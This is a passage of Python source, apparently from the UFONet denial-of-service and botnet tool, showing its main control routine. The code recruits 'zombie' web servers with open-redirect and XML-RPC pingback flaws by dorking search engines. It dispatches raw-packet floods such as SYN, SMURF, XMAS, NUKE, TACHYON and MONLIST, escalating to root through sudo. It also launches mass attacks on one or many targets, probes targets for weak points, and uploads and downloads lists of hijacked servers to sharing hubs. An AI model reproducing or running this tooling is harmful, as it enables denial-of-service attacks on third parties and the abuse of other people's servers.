  389. if options.xray:
  390. euid = self.checkeuid()
  391. if euid != 0:
  392. print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
  393. try:
  394. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  395. os.execlpe('sudo', *args)
  396. except:
  397. pass # keep running
  398. else:
  399. if not options.xrayps:
  400. options.xrayps = str("1-1024") # default scanning ports (1-1024)
  401. ports = options.xrayps
  402. try:
  403. portX, portY = ports.split('-')
  404. try:
  405. portX = int(portX)
  406. portY = int(portY)
  407. except:
  408. portX = 1
  409. portY = 1024
  410. print("[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n")
  411. except:
  412. portX = 1
  413. portY = 1024
  414. print("[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n")
  415. self.banner()
  416. print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
  417. print('='*22 + '\n')
  418. try:
  419. self.instance = UFOSCAN() # instance main class for scanning operations
  420. xray = self.instance.scanning(options.xray, portX, portY)
  421. except Exception as e:
  422. print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
  423. if DEBUG == True:
  424. traceback.print_exc()
  425. return
  426. # show code timeline
  427. if options.timeline:
  428. f = open(self.timeline_file, 'r')
  429. releases = f.readlines()
  430. f.close()
  431. self.banner()
  432. print("-> Code timeline:")
  433. print('='*44)
  434. print("-"*35)
  435. for r in releases:
  436. print(r.strip('\n'))
  437. print("-"*35)
  438. print('='*75, "\n")
  439. # print some examples
  440. if options.examples:
  441. f = open(self.examples_file, 'r')
  442. examples = f.readlines()
  443. f.close()
  444. self.banner()
  445. for e in examples:
  446. print(e.strip('\n'))
  447. # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
  448. if options.ufosyn:
  449. euid = self.checkeuid()
  450. if euid != 0:
  451. print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
  452. try:
  453. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  454. os.execlpe('sudo', *args)
  455. except:
  456. pass # keep running, but UFOSYN will fail
  457. # check EUID when running SPRAY (root required)
  458. if options.spray:
  459. euid = self.checkeuid()
  460. if euid != 0:
  461. print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
  462. try:
  463. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  464. os.execlpe('sudo', *args)
  465. except:
  466. pass # keep running, but SPRAY will fail
  467. # check EUID when running SMURF (root required)
  468. if options.smurf:
  469. euid = self.checkeuid()
  470. if euid != 0:
  471. print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
  472. try:
  473. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  474. os.execlpe('sudo', *args)
  475. except:
  476. pass # keep running, but SMURF will fail
  477. # check EUID when running XMAS (root required)
  478. if options.xmas:
  479. euid = self.checkeuid()
  480. if euid != 0:
  481. print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
  482. try:
  483. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  484. os.execlpe('sudo', *args)
  485. except:
  486. pass # keep running, but XMAS will fail
  487. # check EUID when running NUKE (root required)
  488. if options.nuke:
  489. euid = self.checkeuid()
  490. if euid != 0:
  491. print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
  492. try:
  493. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  494. os.execlpe('sudo', *args)
  495. except:
  496. pass # keep running, but NUKE will fail
  497. # check EUID when running TACHYON (root required)
  498. if options.tachyon:
  499. euid = self.checkeuid()
  500. if euid != 0:
  501. print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n")
  502. try:
  503. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  504. os.execlpe('sudo', *args)
  505. except:
  506. pass # keep running, but TACHYON will fail
  507. # check EUID when running MONLIST (root required)
  508. if options.monlist:
  509. euid = self.checkeuid()
  510. if euid != 0:
  511. print("[Info] [AI] [Control] [MONLIST] (--monlist) not started as root...\n")
  512. try:
  513. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  514. os.execlpe('sudo', *args)
  515. except:
  516. pass # keep running, but MONLIST will fail
  517. # search for [Zombies] on search engines results (dorking)
  518. if options.search:
  519. zombies = []
  520. if options.engine:
  521. engine = options.engine
  522. else:
  523. engine = "duck" # default search engine
  524. try:
  525. self.banner()
  526. if not os.path.exists(self.humans_file) == True:
  527. f = open(self.humans_file, 'w')
  528. f.close()
  529. lf = open(self.humans_file, 'r')
  530. restored = lf.readlines()
  531. zombies_restored = len(restored)
  532. lf.close()
  533. lz = open(self.zombies_file, 'r')
  534. zombies_army = lz.readlines()
  535. for zombie in zombies_army:
  536. zombies.append(zombie) # add zombies from army to the zombies pool
  537. lz.close()
  538. if len(restored) > 0:
  539. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  540. if not self.options.forceyes:
  541. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  542. print('-'*25)
  543. else:
  544. backup_reply = "Y"
  545. if backup_reply == "n" or backup_reply == "N":
  546. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  547. os.remove(self.humans_file)
  548. zombies_restored = 0 # flush zombies restored
  549. print('-'*25 + "\n")
  550. else:
  551. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  552. print('-'*25 + "\n")
  553. for zombie in restored:
  554. zombies.append(zombie) # add previous data to zombies pool
  555. if options.allengines:
  556. if options.ex_engine: # exclude some search engines manually
  557. exclude = options.ex_engine.split(",")
  558. for ex in exclude:
  559. ex = ex.lower()
  560. if ex in self.search_engines:
  561. if len(self.search_engines) == 1: # at least one should make it
  562. pass
  563. else:
  564. self.search_engines.remove(ex)
  565. for e in self.search_engines:
  566. engine = e
  567. print('='*44)
  568. print(("\n[AI] Searching for zombies using: "+engine+'\n'))
  569. print('='*44 + '\n')
  570. self.options.engine = engine
  571. try:
  572. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  573. if zombies_chain != None:
  574. for zombie in zombies_chain:
  575. if zombie not in zombies: # evade possible repetitions
  576. zombies.append(zombie)
  577. except:
  578. if zombies: # backup all new zombies found to file in case of exception
  579. for zombie in zombies:
  580. if zombie+os.linesep not in restored: # only append new zombies found
  581. with open(self.humans_file, "a") as f:
  582. f.write(str(zombie+os.linesep))
  583. else:
  584. if restored:
  585. print('='*44)
  586. print(("\n[AI] Searching for zombies using: "+engine+"\n"))
  587. print('='*44 + '\n')
  588. if restored: # from restored file
  589. try:
  590. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  591. if zombies_chain != None:
  592. for zombie in zombies_chain:
  593. if zombie not in zombies: # evade possible repetitions
  594. zombies.append(zombie)
  595. except:
  596. if zombies: # backup all new zombies found to file in case of exception
  597. for zombie in zombies:
  598. if zombie+os.linesep not in restored: # only append new zombies found
  599. with open(self.humans_file, "a") as f:
  600. f.write(str(zombie+os.linesep))
  601. else:
  602. try:
  603. zombies = self.search_zombies(dork='', zombies_found=zombies)
  604. except:
  605. if zombies: # backup all new zombies found to file in case of exception
  606. for zombie in zombies:
  607. if zombie+os.linesep not in restored: # only append new zombies found
  608. with open(self.humans_file, "a") as f:
  609. f.write(str(zombie+os.linesep))
  610. total_restored = zombies_restored
  611. new_zombies = 0 # new zombies counter
  612. f = open(self.zombies_file, 'r')
  613. zz = f.readlines()
  614. f.close()
  615. zombies_found = []
  616. for z in zombies:
  617. if z.endswith(os.linesep):
  618. z = z.replace(os.linesep, "")
  619. if z not in zz and z+os.linesep not in zz:
  620. new_zombies = new_zombies + 1
  621. zombies_found.append(z)
  622. print('='*62)
  623. print("\n- Victims found:", len(zombies_found), "\n")
  624. print(" - Restored:", total_restored)
  625. print(" - Dorked:", abs(len(zombies_found) - total_restored), "\n")
  626. print('-'*32)
  627. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  628. print('='*62 + '\n')
  629. if len(zombies) > 0:
  630. if not self.options.forceyes:
  631. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  632. print('-'*25)
  633. else:
  634. check_backup_reply = "Y"
  635. if check_backup_reply == "n" or check_backup_reply == "N":
  636. if os.path.isfile(self.humans_file):
  637. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  638. print("\n[Info] [AI] Temporal data correctly removed...\n")
  639. else:
  640. with open(self.humans_file, "w") as f:
  641. for z in zombies_found:
  642. if z.endswith(os.linesep):
  643. z = z.replace(os.linesep, "")
  644. if z not in zz or z+os.linesep not in zz:
  645. f.write(z+os.linesep)
  646. f.close()
  647. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  648. print('-'*25 + "\n")
  649. if new_zombies and new_zombies > 0:
  650. if not self.options.forceyes:
  651. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  652. print('-'*25 + "\n")
  653. else:
  654. check_url_link_reply = "Y"
  655. if check_url_link_reply == "n" or check_url_link_reply == "N":
  656. print("[AI] "+self.exit_msg+"\n")
  657. pass
  658. else:
  659. print("\n" + '='*44)
  660. test = self.testing(zombies_found)
  661. else:
  662. print("[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n")
  663. except Exception:
  664. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  665. # search for [Zombies] from a list of [Dorks]
  666. if options.dorks:
  667. if options.engine:
  668. engine = options.engine
  669. else:
  670. engine = "duck" # default search engine
  671. try:
  672. dorks = self.extract_dorks()
  673. if not dorks:
  674. return
  675. zombies = []
  676. self.banner()
  677. if not os.path.exists(self.humans_file) == True:
  678. f = open(self.humans_file, 'w')
  679. f.close()
  680. lf = open(self.humans_file, 'r')
  681. restored = lf.readlines()
  682. zombies_restored = len(restored)
  683. lf.close()
  684. lz = open(self.zombies_file, 'r')
  685. zombies_army = lz.readlines()
  686. for zombie in zombies_army:
  687. zombies.append(zombie) # add zombies from army to the zombies pool
  688. lz.close()
  689. if len(restored) > 0:
  690. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  691. if not self.options.forceyes:
  692. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  693. print('-'*25)
  694. else:
  695. backup_reply = "Y"
  696. if backup_reply == "n" or backup_reply == "N":
  697. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  698. os.remove(self.humans_file)
  699. zombies_restored = 0 # flush zombies restored
  700. print('-'*25 + "\n")
  701. else:
  702. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  703. print('-'*25 + "\n")
  704. for zombie in restored:
  705. zombies.append(zombie) # add previous data to zombies pool
  706. total_restored = zombies_restored
  707. if options.allengines:
  708. if options.ex_engine: # exclude some search engines manually
  709. exclude = options.ex_engine.split(",")
  710. for ex in exclude:
  711. ex = ex.lower()
  712. if ex in self.search_engines:
  713. if len(self.search_engines) == 1: # at least one should make it
  714. pass
  715. else:
  716. self.search_engines.remove(ex)
  717. for e in self.search_engines:
  718. engine = e
  719. print('='*44)
  720. print(("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n"))
  721. print('='*44 + '\n')
  722. self.options.engine = engine
  723. for dork in dorks:
  724. print('='*22)
  725. print("Dork:", dork)
  726. print('='*22 + '\n')
  727. try:
  728. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  729. for zombie in dorked_zombies:
  730. if zombie not in zombies: # evade repetitions for zombies found
  731. zombies.append(zombie)
  732. if zombie+os.linesep not in restored: # only append new zombies found
  733. with open(self.humans_file, "a") as f:
  734. f.write(str(zombie+os.linesep))
  735. f.close()
  736. except:
  737. if zombies: # backup new zombies found on exception
  738. for zombie in zombies:
  739. if zombie+os.linesep not in restored: # only append new zombies found
  740. with open(self.humans_file, "a") as f:
  741. f.write(str(zombie+os.linesep))
  742. f.close()
  743. else:
  744. if restored:
  745. print('='*44)
  746. print(("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n"))
  747. print('='*44 + '\n')
  748. for dork in dorks:
  749. print('='*22)
  750. print("Dork:", dork)
  751. print('='*22 + '\n')
  752. try:
  753. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  754. if dorked_zombies != None:
  755. for zombie in dorked_zombies:
  756. if zombie not in zombies: # evade repetitions for zombies found
  757. zombies.append(zombie)
  758. except:
  759. if zombies: # backup new zombies found on exception
  760. for zombie in zombies:
  761. if zombie+os.linesep not in restored: # only append new zombies found
  762. with open(self.humans_file, "a") as f:
  763. f.write(str(zombie+os.linesep))
  764. f.close()
  765. new_zombies = 0 # new zombies counter
  766. f = open(self.zombies_file, 'r')
  767. zz = f.readlines()
  768. f.close()
  769. zombies_found = []
  770. for z in zombies:
  771. if z.endswith(os.linesep):
  772. z = z.replace(os.linesep, "")
  773. if z not in zz and z+os.linesep not in zz:
  774. new_zombies = new_zombies + 1
  775. zombies_found.append(z)
  776. print('='*62)
  777. print("\n- Victims found:", len(zombies_found), "\n")
  778. print(" - Restored:", total_restored)
  779. print(" - Dorked:", len(zombies_found) - total_restored, "\n")
  780. print('-'*32)
  781. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  782. print('='*62 + '\n')
  783. if len(zombies_found) > 0:
  784. if not self.options.forceyes:
  785. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  786. print('-'*25)
  787. else:
  788. check_backup_reply = "Y"
  789. if check_backup_reply == "n" or check_backup_reply == "N":
  790. if os.path.isfile(self.humans_file):
  791. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  792. print("\n[Info] [AI] Temporal data correctly removed...\n")
  793. else:
  794. with open(self.humans_file, "w") as f:
  795. for z in zombies_found:
  796. if z.endswith(os.linesep):
  797. z = z.replace(os.linesep, "")
  798. if z not in zz or z+os.linesep not in zz:
  799. f.write(z+os.linesep)
  800. f.close()
  801. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  802. print('-'*25 + "\n")
  803. if new_zombies and new_zombies > 0:
  804. if not self.options.forceyes:
  805. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  806. print('-'*25 + "\n")
  807. else:
  808. check_url_link_reply = "Y"
  809. if check_url_link_reply == "n" or check_url_link_reply == "N":
  810. print("[AI] "+self.exit_msg+"\n")
  811. pass
  812. else:
  813. print("\n" + '='*44)
  814. test = self.testing(zombies_found)
  815. else:
  816. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  817. except Exception:
  818. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  819. # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)
  820. if options.autosearch:
  821. try:
  822. dorks = self.extract_dorks()
  823. except:
  824. print("\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n")
  825. return
  826. engines_list = self.search_engines
  827. stop_flag = False # use a flag to establish an end
  828. try:
  829. self.banner()
  830. print("\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n")
  831. print("[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n")
  832. print('-'*25 + "\n")
  833. zombies_found = []
  834. lz = open(self.zombies_file, 'r')
  835. zombies_army = lz.readlines()
  836. for zombie in zombies_army:
  837. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  838. lz.close()
  839. if not os.path.exists(self.humans_file) == True:
  840. f = open(self.humans_file, 'w')
  841. f.close()
  842. lf = open(self.humans_file, 'r')
  843. restored = lf.readlines()
  844. zombies_restored = len(restored)
  845. lf.close()
  846. if len(restored) > 0:
  847. print("[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  848. if not self.options.forceyes:
  849. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  850. print('-'*25)
  851. else:
  852. backup_reply = "Y"
  853. if backup_reply == "n" or backup_reply == "N":
  854. print("\n[Info] [AI] Removing data stored and starting a new (auto)search...\n")
  855. os.remove(self.humans_file)
  856. zombies_restored = 0 # flush zombies restored
  857. print('-'*25 + "\n")
  858. else:
  859. print("\n[Info] [AI] Restoring data and starting a new (auto)search...\n")
  860. print('-'*25 + "\n")
  861. for zombie in restored:
  862. zombies_found.append(zombie) # add previous data to zombies found pool
  863. total_restored = zombies_restored
  864. while stop_flag == False:
  865. if not os.path.exists(self.humans_file) == True:
  866. f = open(self.humans_file, 'w')
  867. f.close()
  868. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  869. restored = lf.readlines()
  870. lf.close()
  871. zombies_restored = len(restored)
  872. for e in engines_list:
  873. zombies_counter = 0 # use it also as (engine) flag
  874. engine = e
  875. self.options.engine = engine
  876. print('='*44 + '\n')
  877. print(("[AI] Searching for zombies using: "+engine+'\n'))
  878. print('='*44 + '\n')
  879. for dork in dorks:
  880. print('='*22)
  881. print("Dork:", dork)
  882. print('='*22 + '\n')
  883. try:
  884. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  885. for zombie in dorked_zombies:
  886. if zombie not in zombies_found: # evade repetitions for zombies found
  887. zombies_found.append(zombie)
  888. if zombie+os.linesep not in restored: # only append new zombies found
  889. with open(self.humans_file, "a") as f:
  890. f.write(str(zombie+os.linesep))
  891. f.close()
  892. zombies_counter = zombies_counter + 1
  893. except:
  894. if zombies_found: # backup new zombies found on exception
  895. for zombie in zombies_found:
  896. if zombie+os.linesep not in restored: # only append new zombies found
  897. with open(self.humans_file, "a") as f:
  898. f.write(str(zombie+os.linesep))
  899. f.close()
  900. if zombies_counter == 0:
  901. print("[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n")
  902. print('-'*25 + "\n")
  903. engines_list.remove(engine) # remove not more results engine from search engines list
  904. if not engines_list: # if search engines empty, call return-exit routine
  905. print("[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n")
  906. print('-'*25 + "\n")
  907. stop_flag = True # exit flag up
  908. new_zombies = 0 # new zombies counter
  909. f = open(self.zombies_file, 'r')
  910. zz = f.readlines()
  911. f.close()
  912. all_zombies_found = []
  913. for z in zombies_found:
  914. if z.endswith(os.linesep):
  915. z = z.replace(os.linesep, "")
  916. if z not in zz and z+os.linesep not in zz:
  917. new_zombies = new_zombies + 1
  918. all_zombies_found.append(z)
  919. print('='*62)
  920. print("\n- Victims found:", len(all_zombies_found), "\n")
  921. print(" - Restored:", total_restored)
  922. print(" - Dorked:", len(all_zombies_found) - total_restored, "\n")
  923. print('-'*32)
  924. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  925. print('='*62 + '\n')
  926. if len(zombies_found) > 0:
  927. if not self.options.forceyes:
  928. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  929. print('-'*25)
  930. else:
  931. check_backup_reply = "Y"
  932. if check_backup_reply == "n" or check_backup_reply == "N":
  933. if os.path.isfile(self.humans_file):
  934. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  935. print("\n[Info] [AI] Temporal data correctly removed...\n")
  936. else:
  937. with open(self.humans_file, "w") as f:
  938. for z in all_zombies_found:
  939. if z.endswith(os.linesep):
  940. z = z.replace(os.linesep, "")
  941. if z not in zz or z+os.linesep not in zz:
  942. f.write(z+os.linesep)
  943. f.close()
  944. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  945. print('-'*25 + "\n")
  946. if new_zombies and new_zombies > 0:
  947. if not self.options.forceyes:
  948. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  949. print('-'*25 + "\n")
  950. else:
  951. check_url_link_reply = "Y"
  952. if check_url_link_reply == "n" or check_url_link_reply == "N":
  953. print("[AI] "+self.exit_msg+"\n")
  954. pass
  955. else:
  956. print("\n" + '='*44)
  957. test = self.testing(all_zombies_found)
  958. else:
  959. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  960. except Exception:
  961. print ("[Error] [AI] Something wrong (auto)searching...\n")
  962. # test web 'zombie' servers -> show statistics
  963. if options.test:
  964. try:
  965. self.banner()
  966. zombies = self.extract_zombies()
  967. if not zombies:
  968. return
  969. test = self.testing(zombies)
  970. self.update_missions_stats() # update mothership missions stats
  971. except Exception:
  972. print ("\n[Error] [AI] Something wrong testing!\n")
  973. if DEBUG == True:
  974. traceback.print_exc()
  975. # test XML-'rpc' pingback vulnerable servers -> update list
  976. if options.testrpc:
  977. try:
  978. self.banner()
  979. rpcs = self.extract_rpcs()
  980. if not rpcs:
  981. return
  982. testrpc = self.testing_rpcs(rpcs)
  983. self.update_missions_stats() # update mothership missions stats
  984. except Exception:
  985. print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
  986. if DEBUG == True:
  987. traceback.print_exc()
  988. # check botnet searching for zombies offline
  989. if options.testoffline:
  990. try:
  991. self.banner()
  992. testbotnet = self.testing_offline()
  993. self.update_missions_stats() # update mothership missions stats
  994. except Exception:
  995. print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
  996. if DEBUG == True:
  997. traceback.print_exc()
  998. # check ALL botnet status
  999. if options.testall:
  1000. try:
  1001. self.banner()
  1002. test_all_botnet = self.testing_all()
  1003. self.update_missions_stats() # update mothership missions stats
  1004. except Exception:
  1005. print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
  1006. if DEBUG == True:
  1007. traceback.print_exc()
  1008. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target
  1009. if options.target:
  1010. try:
  1011. self.banner()
  1012. zombies = self.extract_zombies()
  1013. if not zombies:
  1014. return
  1015. options.target = self.parse_url_encoding(options.target) # parse for proper url encoding
  1016. attack = self.attacking(zombies, options.target)
  1017. self.update_missions_stats() # update mothership missions stats
  1018. except Exception:
  1019. print ("\n[Error] [AI] Something wrong attacking!\n")
  1020. if DEBUG == True:
  1021. traceback.print_exc()
  1022. # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets
  1023. if options.target_list:
  1024. try:
  1025. self.banner()
  1026. zombies = self.extract_zombies()
  1027. if not zombies:
  1028. return
  1029. targets = self.extract_target_list()
  1030. if not targets:
  1031. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1032. return
  1033. self.options.forceyes = True # force-yes ON!
  1034. self.num_target_list = 0
  1035. print("\n[AI] Checking integrity of targets...\n")
  1036. for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]
  1037. if not t.startswith("http"): # discarded inmediately
  1038. print("[Info] [AI] [Control] " + str(t) + " -> [Discarding!]")
  1039. targets.remove(t) # ¿remove? invalid targets
  1040. print("")
  1041. c = 0
  1042. for target in targets:
  1043. if target == "":
  1044. c = c + 1
  1045. else:
  1046. self.num_target_list = self.num_target_list + 1
  1047. if c == len(targets):
  1048. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1049. return # end of code block dedicated to: Guido van Rossum [23/12/2018]
  1050. else:
  1051. for target in targets:
  1052. self.options.target = self.parse_url_encoding(target) # parse for proper url encoding
  1053. target = self.options.target
  1054. print('='*55 + "\n")
  1055. print("[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n")
  1056. print("="*55)
  1057. attack = self.attacking(zombies, target)
  1058. self.update_missions_stats() # update mothership missions stats (each target counts)
  1059. except Exception:
  1060. print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
  1061. if DEBUG == True:
  1062. traceback.print_exc()
  1063. # inspect target -> inspect target's components sizes
  1064. if options.inspect:
  1065. try:
  1066. self.banner()
  1067. print("\n[AI] Inspecting target for local resources... to find the best place to attack... SSssh!\n")
  1068. print('='*22 + '\n')
  1069. self.instance = Inspector(self) # instance main class for inspection operations
  1070. inspection = self.instance.inspecting(options.inspect)
  1071. self.update_missions_stats() # update mothership missions stats
  1072. except Exception as e:
  1073. print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
  1074. if DEBUG == True:
  1075. traceback.print_exc()
  1076. return #sys.exit(2)
  1077. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  1078. if options.abduction:
  1079. try:
  1080. self.banner()
  1081. print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
  1082. print('='*22 + '\n')
  1083. self.instance = Abductor(self) # instance main class for abduction operations
  1084. abduction = self.instance.abducting(options.abduction)
  1085. self.update_missions_stats() # update mothership missions stats
  1086. except Exception as e:
  1087. print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
  1088. if DEBUG == True:
  1089. traceback.print_exc()
  1090. return #sys.exit(2)
  1091. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  1092. if options.attackme:
  1093. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1094. try:
  1095. self.banner()
  1096. print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
  1097. print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
  1098. if not self.options.forceyes:
  1099. update_reply = input("[AI] Do you want to continue? (Y/n)")
  1100. else:
  1101. update_reply = "Y"
  1102. if update_reply == "n" or update_reply == "N":
  1103. print("\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n")
  1104. return
  1105. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  1106. print("\nMothership ID: " + self.mothership_id + "RND: " + self.mothership_hash)
  1107. print("\n[AI] Checking NAT/IP configuration:\n")
  1108. nat = self.check_nat()
  1109. f = open("alien", "w") # generate random alien worker
  1110. f.write(str(self.mothership_hash))
  1111. f.close()
  1112. if self.nat_error_flag == "ON":
  1113. return
  1114. zombies = self.extract_zombies()
  1115. if not zombies:
  1116. return
  1117. attackme = self.attackme(zombies)
  1118. self.update_missions_stats() # update mothership missions stats
  1119. except Exception as e:
  1120. print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
  1121. if DEBUG == True:
  1122. traceback.print_exc()
  1123. return #sys.exit(2)
  1124. # check/update for latest stable version
  1125. if options.update:
  1126. self.banner()
  1127. try:
  1128. print("\n[AI] Trying to update automatically to the latest stable version\n")
  1129. Updater()
  1130. except:
  1131. print("Not any .git repository found!\n")
  1132. print("="*30)
  1133. print("\nTo have working this feature, you should clone UFONet with:\n")
  1134. print("$ git clone %s" % self.GIT_REPOSITORY)
  1135. print("\nAlso you can try this other mirror:\n")
  1136. print("$ git clone %s" % self.GIT_REPOSITORY2 + "\n")
  1137. # launch GUI/Web interface
  1138. if options.web:
  1139. self.create_web_interface()
  1140. return
  1141. # generate [Blackhole] server to share [Zombies]
  1142. if options.blackhole is not None:
  1143. self.banner()
  1144. try:
  1145. blackhole_lib = os.path.abspath(os.path.join('core/tools')) # add [Blackhole] lib
  1146. sys.path.append(blackhole_lib)
  1147. from core.tools.blackhole import BlackHole
  1148. print("\n[AI] Initiating void generation sequence...\n")
  1149. print('='*22 + '\n')
  1150. app = BlackHole()
  1151. app.start()
  1152. while True: time.sleep(1)
  1153. except KeyboardInterrupt:
  1154. print("\n[AI] Terminating void generation sequence...\n")
  1155. app.collapse()
  1156. except Exception as e:
  1157. print("[Error] "+str(e))
  1158. print("\n[AI] Something was wrong generating [Blackhole]... -> [Aborting!]\n")
  1159. # create [Griger] server to share [Stats/Wargames/Messages]
  1160. if options.grider is not None:
  1161. self.banner()
  1162. try:
  1163. grider_lib = os.path.abspath(os.path.join('core/tools')) # add [Grider] lib
  1164. sys.path.append(grider_lib)
  1165. from core.tools.grider import Grider
  1166. print("\n[AI] Initiating void generation sequence...\n")
  1167. print('='*22 + '\n')
  1168. app = Grider()
  1169. app.start()
  1170. while True: time.sleep(1)
  1171. except KeyboardInterrupt:
  1172. print("\n[AI] Terminating void generation sequence...\n")
  1173. app.collapse()
  1174. except Exception as e:
  1175. print("[Error] "+str(e))
  1176. print("\n[AI] Something was wrong generating [Grider]... -> [Aborting!]\n")
  1177. # download list of [Zombies] from a [Blackhole] IP
  1178. if options.dip is not None:
  1179. options.download = True
  1180. self.blackhole = options.dip
  1181. # upload list of [Zombies] to a [Blackhole] IP
  1182. if options.upip is not None:
  1183. options.upload = True
  1184. self.blackhole = options.upip
  1185. # download list of [Zombies] from Community server [20/01/2020 OK!]
  1186. if options.download:
  1187. try:
  1188. self.banner()
  1189. if options.dip is not None:
  1190. print(("\n[AI] Downloading list of [Zombies] from [Private] server: "+self.blackhole+" ...\n"))
  1191. else:
  1192. print("\n[AI] Downloading list of [Zombies] from [Community] server ...\n")
  1193. print('='*22 + '\n')
  1194. download_list = self.downloading_list()
  1195. except Exception as e:
  1196. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1197. return
  1198. # upload list of [Zombies] to Community server [20/01/2020 OK!]
  1199. if options.upload:
  1200. try:
  1201. self.banner()
  1202. if options.upip is not None:
  1203. print(("\n[AI] Uploading list of [Zombies] to [Private] server: "+self.blackhole+" ...\n"))
  1204. else:
  1205. print("\n[AI] Uploading list of [Zombies] to [Community] server ...\n")
  1206. print('='*22 + '\n')
  1207. upload_list = self.uploading_list()
  1208. except Exception as e:
  1209. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1210. if DEBUG == True:
  1211. traceback.print_exc()
  1212. return #sys.exit(2)
  1213. # download list of [Zombies] from GitHub server [20/01/2020 OK!]
  1214. if options.download_github:
  1215. try:
  1216. self.banner()
  1217. print("\n[AI] Downloading list of [Zombies] from [GitHub] server ...\n")
  1218. print('='*22 + '\n')
  1219. download_github_list = self.downloading_github_list()
